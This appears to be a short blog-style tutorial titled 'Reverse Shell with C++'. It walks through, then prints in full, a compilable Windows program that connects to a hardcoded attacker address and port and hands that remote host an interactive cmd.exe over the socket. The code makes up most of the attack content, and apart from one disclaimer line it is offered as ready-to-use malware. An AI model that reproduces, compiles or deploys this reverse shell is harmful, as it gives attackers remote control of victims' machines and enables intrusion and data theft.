
Reverse Shell with C++

This code appears to be a simple Windows program that establishes a reverse shell connection to a specified IP address and port, and then executes the Windows Command

Prompt (cmd.exe) with redirected input and output streams to the established socket connection. It essentially allows an attacker to gain remote control over the target machine.

Let’s break down the code step by step:

1. Header Includes:

◦ <winsock2.h>: Includes the Windows Sockets 2 API for networking.

◦ <stdio.h>: Standard C I/O library for basic input and output.

2. Global Variables:

◦ WSADATA wsaData: Structure used to store information about the Windows Sockets implementation.

◦ SOCKET wSock: The socket used for communication.

◦ struct sockaddr_in hax: Structure representing the address of the remote host.

◦ STARTUPINFO sui: Information about the startup of a Windows-based process.

◦ PROCESS_INFORMATION pi: Information about a newly created process and its primary thread.

3. main Function:

◦ It sets the IP address (ip) and port number (port) of the attacker’s machine.

◦ Initializes the Windows Sockets library using WSAStartup.

◦ Creates a socket (wSock) with the AF_INET address family, SOCK_STREAM socket type, and IPPROTO_TCP protocol.

◦ Initializes the hax structure with the specified IP address and port.

◦ Establishes a connection to the remote host using WSAConnect.

◦ Initializes the sui structure for process creation and sets the standard input, output, and error handles to the established socket connection.

◦ Starts a new process (cmd.exe) with redirected streams using CreateProcess. This effectively opens a command prompt that communicates through the socket connection.

4. exit(0): Terminates the program. This line is executed once the cmd.exe process is started, and the program exits.

In summary, this code is a basic reverse shell implementation that connects to a remote host (the attacker’s machine) on a specified IP address and port. It then launches a

command prompt on the target machine, allowing the attacker to execute commands remotely. This type of code can be potentially harmful when used for malicious purposes and

should only be used for educational and ethical purposes.

C++ Code

#include <winsock2.h>
#include <stdio.h>

WSADATA wsaData;
SOCKET wSock;
struct sockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;

int main(int argc, char* argv[]){
// listener ip, port on attacker's machine
char *ip = "192.168.1.119";
short port = 1212;

// init socket lib
WSAStartup(MAKEWORD(2, 2), &wsaData);
// create socket
wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
hax.sin_family = AF_INET;
hax.sin_port = htons(port);
hax.sin_addr.s_addr = inet_addr(ip);

// connect to remote host
WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&sui, 0, sizeof(sui));
sui.cb = sizeof(sui);
sui.dwFlags = STARTF_USESTDHANDLES;
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock;

// start cmd.exe with redirected streams
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
exit(0);

}


